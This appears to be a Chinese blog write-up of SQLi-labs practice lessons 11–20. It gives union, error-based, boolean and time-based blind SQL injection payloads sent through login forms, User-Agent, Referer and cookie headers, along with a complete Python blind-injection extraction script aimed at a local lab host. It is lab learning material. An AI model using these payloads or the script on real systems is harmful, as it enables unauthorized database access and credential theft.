sqli_labs(11-20)练习



POST注入

less11

post类型一个登陆框

试一下万能密码:uname=admin’ or ‘1’='1–+&passwd=1

显示出

Your Login name:admin
Your Password:admin

所以猜测sql语句是:

$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

注入如下(同对id的注入方法):

uname=admin’ order by 2–+&passwd=1 #两个字段

uname=1’ union select 1,2–+&passwd=1 #1,2在都是显示位

uname=1’ union select group_concat(schema_name) ,2 from information_schema.schemata–+&passwd=1

uname=1’ union select group_concat(table_name) ,2 from information_schema.tables where table_schema=‘security’–+&passwd=1

uname=1’ union select group_concat(column_name) ,2 from information_schema.columns where table_schema=‘security’ and table_name=‘users’–+&passwd=1

uname=1’ union select group_concat(username) ,group_concat(password) from security.users–+&passwd=1

less12

相比于less11,使用"进行测试,发现不行,然后用")闭合即可,语句同上。

$id,'$id',"$id",($id),('$id'),("$id"),(('$id'))等进行测试

less13

这道有报错提示,当输入uname=admin’时报错,然后如果输入正确的语句会通过下方的图片提示登陆正确或者错误,但是在源码里面没有显示加载哪张图片的内容,无法作为布尔注入的条件。

尽然可以报错,直接就报错注入吧。

输入uname=admin’,报错为...near '1admin') LIMIT 0,1' at...可以根据提示闭合括号

uname=admin')%23&passwd=1admin正常返回,所以闭合成功,进行报错注入:

uname=admin' and updatexml(1,concat(0x7e,(version()),0x7e),1))%23&passwd=1admin

显示: XPATH syntax error: ‘5.5.53

uname=admin’ and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1))%23&passwd=1admin`

#这样可以直接把数据库名报出来,但是显错位长度有限,后面一些内容可能看不到,可以用limit a,1方式一个个查询。

uname=admin’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),0x7e),1))%23&passwd=1admin`

#返回表名 XPATH syntax error: emails,referers,uagents,users

uname=admin’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=“users” and table_schema=“security”),0x7e),1))%23&passwd=1admin

#返回用户表的字段 XPATH syntax error: ‘id,username,password

uname=admin’ and updatexml(1,concat(0x7e,(select concat(username,’~’,password) from security.users limit 2,1),0x7e),1))%23&passwd=1admin

#返回用户名,用limit一个个查询时使用concat(),一次返回一组数据,不然显示位不够查看。

#passwd随便输入,因为是被注释掉的。

less14

和less13一样的分析方法,可以输入单引号看到报错,双引号闭合后进行。

关于报错注入适用就是当用户密码输入正确或者错误页面正常,无法利用,但是构造错误的sql语句可以报错,通过特定的sql报错语句可以将数据库内容查询并报出来。

  1. uname=admin‘ and updatexml(1,concat(0x7e,(查询语句处),0x7e),1)%23
  2. uname=admin’ and extractvalue(1,concat(0x7e,(查询语句处),0x7e))%23
  3. uname=admin’ and (select 1 from (select count(*),concat((查询语句),floor(rand(0)*2))a from information_schema.tables group by a)x)%23

less15

根据正常步骤进行测试,发现构造错误语句也不会回显报错信息,但是会显示登陆成功或者失败,用图片的方式。登陆成功时返回flag,jpg,失败时显示slap.jpg,所以可以利用这个区别作为布尔盲注的判断信息。

uname=admin’ and (length(database())>0)%23&passwd=1

显示成功,说明sql语句闭合成功。

才开始没有看到源码中有图片的信息,以为要只能使用时间盲注,所以直接写了时间盲注脚本。

但要使用布尔注入的话,将其中的sleep()改为0,然后判断条件将时间的改为flag.jpg是否在r1.text中即可。

import requests
import time
import datetime
url="http://192.168.127.130/sqli_lab/Less-15/"
pay0={"uname":"","passwd":"1"}
pay1={"uname":"","passwd":"1"}
pay2={"uname":"","passwd":"1"}
pay3={"uname":"","passwd":"1"}
def name(db_name,t_name,d_name,num):
    for j in range(0,20):
        res=''
        for i in range(1,20):
            l=0
            r=127
            mid=(l+r)>>1
            while(l<r):
                pay0["uname"]="admin' and if(ascii(mid((select schema_name from information_schema.schemata limit {0},1),{1},1))>{2},1,sleep(0.1))#".format(j,i,mid)
                pay1['uname']="admin' and if(ascii(mid((select table_name from information_schema.tables where table_schema='"+db_name+"' limit {0},1),{1},1))>{2},1,sleep(0.1))#".format(j,i,mid)
                pay2['uname']="admin' and if(ascii(mid((select column_name from information_schema.columns where table_name='"+t_name+"' and table_schema='"+db_name+"' limit {0},1),{1},1))>{2},1,sleep(0.1))#".format(j,i,mid)
                pay3['uname']="admin' and if(ascii(mid((select "+d_name+" from "+db_name+"."+t_name+" limit {0},1),{1},1))>{2},1,sleep(0.1))#".format(j,i,mid)
                header={
                    "Referer":"http://192.168.127.130/sqli_lab/Less-14/",
                    "Content-Type":"application/x-www-form-urlencoded",
                    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0"
                }
                if(num==0):
                    r1=requests.post(url,data=pay0,headers=header)
                if(num==1):
                    r1=requests.post(url,data=pay1)
                if(num==2):
                    r1=requests.post(url,data=pay2)
                if(num==3):
                    r1=requests.post(url,data=pay3)
                if(r1.elapsed.total_seconds()<0.3):
                    # print(r1.elapsed.total_seconds())
                    l=mid+1        
                else:
                    r=mid    
                mid = (l+r)>>1
            if(mid==0):
                break
            res+=chr(mid)
        if(res==''):
            break
        print(res)
def main():
    print("所有数据库的名称:")
    name('','','',0)
    db_name=input("请输入要查询表的数据库名称:")
    name(db_name,'','',1)
    t_name=input("请输入要查询的表名:")
    name(db_name,t_name,'',2)
    d_name=input("请输入要查询的字段名:")
    name(db_name,t_name,d_name,3)
if __name__ == "__main__":
    main()

less16

进行测试:

uname=admin") or 1#&passwd=1

发现以上语句返回正确,所以闭合成功。和less15方法一样,改变闭合方式即可。

less17

页面为改密码操作,直接输入admin,随便输入密码,然后回到less16发现密码确实被改掉。

读取源码看看是如何操作的,发现将用户名进行转义,防止注入,然后查询是否数据库存在该用户和密码,如果存在则执行将新密码写入数据库相应位置的语句,如果语句执行异常则报错,若正常则插入成功。

问题的关键在于只对用户名进行转义,对密码没有过滤且会报错,所以这里直接对密码进行报错注入即可。

uname=admin&passwd=admin%27 and updatexml(1,concat(0x7e,(user()),0x7e),1)#

报错:XPATH syntax error: '~root@localhost~'

同less13和less14的报错注入方法。

过滤uname的方法也值得学习一下。

function check_input($value)
	{
	if(!empty($value))
		{
		// truncation (see comments)
		$value = substr($value,0,15);
		}

		// Stripslashes if magic quotes enabled
		if (get_magic_quotes_gpc())
			{
			$value = stripslashes($value);
			}

		// Quote if not a number
		if (!ctype_digit($value))
			{
			$value = "'" . mysql_real_escape_string($value) . "'";
			}
		
	else
		{
		$value = intval($value);
		}
	return $value;
	}

less18

看到报出ip,可能是xff注入,但是看源码发现$IP = $_SERVER['REMOTE_ADDR'];获取本地主机ip。而对用户名和密码都进行了转义,如果登陆时查询失败可以报错,但是因为转义了单引号等,不好构造语句报错。然后登陆成功后也会报错,对ua进行报错注入。

User-Agent: 1’ and updatexml(1,concat(0x7e,(database()),0x7e),1),‘1’,‘1’)#

User-Agent:aaa’ and updatexml(1,concat(0x7e,(database()),0x7e),1) or ’

以上两种闭合均可报错: XPATH syntax error: ‘security

之后用常规报错注入方法即可。

less19

和less18类似

$insert=“INSERT INTO security.referers (referer, ip_address) VALUES (’$uagent’, ‘$IP’)”;

这次注入的是referer:

1’and updatexml(1,concat(0x7e,(database()),0x7e),1) or ’

报错:XPATH syntax error: ‘security

less20

$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";

cookie注入:

uname=1’ and 1=1#

uname=1’ union select 1,2,3# // Your Login name:2 Your Password:3

uname=1’ union select 1,database(),3# //显错注入,直接可以从name,password显示位显示结果。

你可能感兴趣的:(ctf)